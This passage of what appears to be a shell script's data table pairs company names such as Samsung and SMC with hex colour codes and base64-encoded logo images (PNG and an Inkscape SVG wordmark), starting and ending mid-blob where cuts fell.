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' ["Samsung"]='#C3D1DC #1428A0 #A6A6A6 data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gQ3JlYXRlZCB3aXRoIElua3NjYXBlIChodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy8pIC0tPgoKPHN2ZwogICB2ZXJzaW9uPSIxLjEiCiAgIGlkPSJzdmcyIgogICB4bWw6c3BhY2U9InByZXNlcnZlIgogICB3aWR0aD0iNzA1MS40MDIzIgogICBoZWlnaHQ9IjEwODAiCiAgIHZpZXdCb3g9IjAgMCA3MDUxLjQwMjQgMTA4MCIKICAgc29kaXBvZGk6ZG9jbmFtZT0iU2Ftc3VuZ193b3JkbWFyay5zdmciCiAgIGlua3NjYXBlOnZlcnNpb249IjEuMSAoYzY4ZTIyYzM4NywgMjAyMS0wNS0yMykiCiAgIHhtbG5zOmlua3NjYXBlPSJodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy9uYW1lc3BhY2VzL2lua3NjYXBlIgogICB4bWxuczpzb2RpcG9kaT0iaHR0cDovL3NvZGlwb2RpLnNvdXJjZWZvcmdlLm5ldC9EVEQvc29kaXBvZGktMC5kdGQiCiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHNvZGlwb2RpOm5hbWVkdmlldwogICAgIGlkPSJuYW1lZHZpZXcxMSIKICAgICBwYWdlY29sb3I9IiNmZmZmZmYiCiAgICAgYm9yZGVyY29sb3I9IiM2NjY2NjYiCiAgICAgYm9yZGVyb3BhY2l0eT0iMS4wIgogICAgIGlua3NjYXBlOnBhZ2VzaGFkb3c9IjIiCiAgICAgaW5rc2NhcGU6cGFnZW9wYWNpdHk9IjAuMCIKICAgICBpbmtzY2FwZTpwYWdlY2hlY2tlcmJvYXJkPSIwIgogICAgIHNob3dncmlkPSJmYWxzZSIKICAgICBmaXQtbWFyZ2luLXRvcD0iMCIKICAgICBmaXQtbWFyZ2luLWxlZnQ9IjAiCiAgICAgZml0LW1hcmdpbi1yaWdodD0iMCIKICAgICBmaXQtbWFyZ2luLWJvdHRvbT0iMCIKICAgICBpbmtzY2FwZTp6b29tPSIwLjA1OTgyOTQ2NSIKICAgICBpbmtzY2FwZTpjeD0iMjg0OS43NjY0IgogICAgIGlua3NjYXBlOmN5PSIxNDI5LjA2MTciCiAgICAgaW5rc2NhcGU6d2luZG93LXdpZHRoPSIxOTIwIgogICAgIGlua3NjYXBlOndpbmRvdy1oZWlnaHQ9IjEwMTciCiAgICAgaW5rc2NhcGU6d2luZG93LXg9IjE5MTIiCiAgICAgaW5rc2NhcGU6d2luZG93LXk9Ii04IgogICAgIGlua3NjYXBlOndpbmRvdy1tYXhpbWl6ZWQ9IjEiCiAgICAgaW5rc2NhcGU6Y3VycmVudC1sYXllcj0ic3ZnMiIgLz48ZGVmcwogICAgIGlkPSJkZWZzNiI+PGNsaXBQYXRoCiAgICAgICBjbGlwUGF0aFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIKICAgICAgIGlkPSJjbGlwUGF0aDE2Ij48cGF0aAogICAgICAgICBkPSJNIDAsMTY2Ljg4NSBIIDYyOC4yMzggViAwIEggMCBaIgogICAgICAgICBpZD0icGF0aDE0IiAvPjwvY2xpcFBhdGg+PC9kZWZzPjxnCiAgICAgaWQ9Imc4IgogICAgIHRyYW5zZm9ybT0ibWF0cml4KDEyLjk0NDA1MywwLDAsLTEyLjk0NDA1MywtNTQwLjAzNjI1LDE2MjAuMDIzMykiPjxnCiAgICAgICBpZD0iZzEwIj48ZwogICAgICAgICBpZD0iZzEyIgogICAgICAgICBjbGlwLXBhdGg9InVybCgjY2xpcFBhdGgxNikiPjxnCiAgICAgICAgICAgaWQ9ImcxOCIKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg1NTguOTMyOCw4OC41MDk4KSI+PHBhdGgKICAgICAgICAgICAgIGQ9Im0gMCwwIHYgLTExLjM1OCBoIDcuOTgyIHYgLTExLjI2OSBjIDAuMDI1LC0xLjAwNyAtMC4wMywtMi4wOTMgLTAuMjAzLC0yLjk2MiAtMC4zMTcsLTIuMTAyIC0yLjMxNCwtNS42ODEgLTcuOTgsLTUuNjgxIC01LjYzMiwwIC03LjU5MywzLjU3OSAtNy45MzMsNS42ODEgLTAuMTQzLDAuODY5IC0wLjIwNCwxLjk1NSAtMC4yMDQsMi45NjIgdiAzNS41OTMgYyAwLDEuMjU5IDAuMDg1LDIuNjM3IDAuMzUyLDMuNjggMC4zODcsMS44OTcgMi4wNjgsNS42MzggNy43NDMsNS42MzggNS45NTcsMCA3LjQ0NCwtMy45NDQgNy43ODUsLTUuNjM4IDAuMjI0LC0xLjEyMiAwLjIzNywtMy4wMDQgMC4yMzcsLTMuMDA0IFYgOS4zMiBoIDE5LjYxMyB2IDIuNTU1IGMgMCwwIDAuMDg5LDIuNjY2IC0wLjE0OSw1LjE1NCBDIDI1Ljc2OSwzMS42MzggMTMuNzMyLDM2LjI2IC0wLjA3LDM2LjI2IGMgLTEzLjgyNywwIC0yNS42MiwtNC42NjUgLTI3LjMzOCwtMTkuMjMxIC0wLjE1NSwtMS4zMzIgLTAuMzkyLC0zLjcyOCAtMC4zOTIsLTUuMTU0IHYgLTMyLjc0MiBjIDAsLTEuNDI2IDAuMDQ2LC0yLjUzIDAuMzEsLTUuMTM2IDEuMjgsLTE0LjIwNyAxMy41OTMsLTE5LjI0MyAyNy4zNjUsLTE5LjI0MyAxMy44NTcsMCAyNi4wODUsNS4wMzYgMjcuMzg3LDE5LjI0MyAwLjIzMSwyLjYwNiAwLjI1NSwzLjcxIDAuMjg2LDUuMTM2IFYgMCBaIG0gLTEzNS4yMzUsMzQuMTY1IGggLTE5LjY5NiB2IC01Ny42MTMgYyAwLjAzMSwtMS4wMDQgMCwtMi4xMzIgLTAuMTczLC0yLjk1OSAtMC40MTEsLTEuOTM0IC0yLjA1LC01LjY1NiAtNy40ODQsLTUuNjU2IC01LjM2NCwwIC03LjA0NiwzLjcyMiAtNy40MjYsNS42NTYgLTAuMTk3LDAuODI3IC0wLjIyMiwxLjk1NSAtMC4xOTcsMi45NTkgdiA1Ny42MTMgaCAtMTkuNjkgViAtMjEuNjYgYyAtMC4wMjUsLTEuNDM5IDAuMDg4LC00LjM3OSAwLjE3MywtNS4xNDkgMS4zNTksLTE0LjU0NyAxMi44MjQsLTE5LjI3IDI3LjE0LC0xOS4yNyAxNC4zNDQsMCAyNS44MDIsNC43MjMgMjcuMTg2LDE5LjI3IDAuMTA5LDAuNzcgMC4yNTIsMy43MSAwLjE2Nyw1LjE0OSB6IG0gLTE4MC45NywwIC05LjgyNSwtNjAuODc2IC05LjgxOSw2MC44NzYgaCAtMzEuNzcxIGwgLTEuNjg1LC03Ny44NzggaCAxOS40NjQgbCAwLjUyNyw3Mi4wOTQgMTMuMzkyLC03Mi4wOTQgaCAxOS43NDggbCAxMy40MDQsNzIuMDk0IDAuNTI5LC03Mi4wOTQgaCAxOS41MTMgbCAtMS43NDIsNzcuODc4IHogbSAtMTE3LjYzMSwwIC0xNC40MjYsLTc3Ljg3OCBoIDIxLjAzNyBsIDEwLjg3MSw3Mi4wOTQgMTAuNjEsLTcyLjA5NCBoIDIwLjg5MSBsIC0xNC4zNjYsNzcuODc4IHogbSAzNjcuNDM1LC02Mi43MDEgLTE4LjM0LDYyLjcwMSBoIC0yOC45IHYgLTc3LjA2NiBoIDE5LjExOCBsIC0xLjExLDY0LjcwNyAxOS42OTYsLTY0LjcwNyBoIDI3LjcxNyB2IDc3LjA2NiBoIC0xOS4yNDMgeiBtIC0xNzYuODM4LDQyLjQzMyBjIC0wLjM0NiwxLjUzOCAtMC4yNDYsMy4xNzIgLTAuMDY3LDQuMDI2IDAuNTU3LDIuNDkzIDIuMjMyLDUuMjEyIDcuMDU4LDUuMjEyIDQuNDk4LDAgNy4xMzUsLTIuODA0IDcuMTM1LC03LjAxMiB2IC00Ljc2MiBoIDE5LjIgdiA1LjQyOCBjIDAsMTYuNzggLTE1LjA0NCwxOS40MTYgLTI1LjkzNiwxOS40MTYgLTEzLjcxOCwwIC0yNC45MjEsLTQuNTIyIC0yNi45NjcsLTE3LjE0OCAtMC41NDEsLTMuNDM2IC0wLjY3NSwtNi40ODYgMC4xODYsLTEwLjM3OCAzLjMzNiwtMTUuNzQzIDMwLjc0MywtMjAuMzEgMzQuNzIxLC0zMC4yNjYgMC43MDIsLTEuODg2IDAuNTAxLC00LjI5MSAwLjE0MywtNS43MDggLTAuNTk2LC0yLjU5MSAtMi4zMzksLTUuMTk3IC03LjUwNiwtNS4xOTcgLTQuODQ2LDAgLTcuNzYzLDIuNzg2IC03Ljc2Myw2Ljk4NSBsIC0wLjAwNiw3LjQ3NCBoIC0yMC42NjYgdiAtNS45NDEgYyAwLC0xNy4yMTUgMTMuNDg0LC0yMi40MDkgMjguMDA3LC0yMi40MDkgMTMuOTA5LDAgMjUuMzk3LDQuNzUzIDI3LjI0LDE3LjYzNyAwLjg3OSw2LjY1NyAwLjIxNiwxMC45OTMgLTAuMTM3LDEyLjYyNiAtMy4yMiwxNi4xNDcgLTMyLjQzMSwyMS4wMDQgLTM0LjY0MiwzMC4wMTcgbSAtMjUzLjI3MywwLjE5MSBjIC0wLjM3NywxLjU3IC0wLjI4OSwzLjIyNyAtMC4wNzksNC4wOTEgMC41MzIsMi40ODEgMi4yMTcsNS4yNDggNy4xMjgsNS4yNDggNC41NTUsMCA3LjIzNywtMi44MzEgNy4yMzcsLTcuMDczIHYgLTQuODIgaCAxOS40MjUgdiA1LjQ3MSBjIDAsMTYuOTQxIC0xNS4yNzQsMTkuNjQxIC0yNi4yODUsMTkuNjQxIC0xMy44MzMsMCAtMjUuMTM2LC00LjU5MiAtMjcuMjA0LC0xNy4zMDkgLTAuNTY2LC0zLjQ5MSAtMC42NjMsLTYuNTYyIDAuMTU1LC0xMC40OTcgMy4zNzIsLTE1LjkyMiAzMS4wNSwtMjAuNTI2IDM1LjA3NywtMzAuNjAxIDAuNzU0LC0xLjg3MyAwLjUyNiwtNC4yNzggMC4xNTIsLTUuNzUgLTAuNjM5LC0yLjYxOCAtMi4zOTYsLTUuMjYxIC03LjYwNiwtNS4yNjEgLTQuODY1LDAgLTcuNzc1LDIuODM0IC03Ljc3NSw3LjA5MSBsIC0wLjAyNyw3LjQ5NCBoIC0yMC44OTggdiAtNS45NTUgYyAwLC0xNy40MTIgMTMuNjc1LC0yMi42NDggMjguMzExLC0yMi42NDggMTQuMDcxLDAgMjUuNjI2LDQuNzk1IDI3LjUxMSwxNy44MjggMC45MzcsNi43MTggMC4yMzQsMTEuMDkgLTAuMDgyLDEyLjc0OCAtMy4yODcsMTYuMzQ1IC0zMi44MjMsMjEuMTg2IC0zNS4wNCwzMC4zMDIiCiAgICAgICAgICAgICBzdHlsZT0iZmlsbDojMTQyOGEwO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgICAgaWQ9InBhdGgyMCIgLz48L2c+PC9nPjwvZz48L2c+PC9zdmc+Cg==' ["SMC"]='#B3C9E0 #4F4F4F #CCCCCC data:image/png;base64,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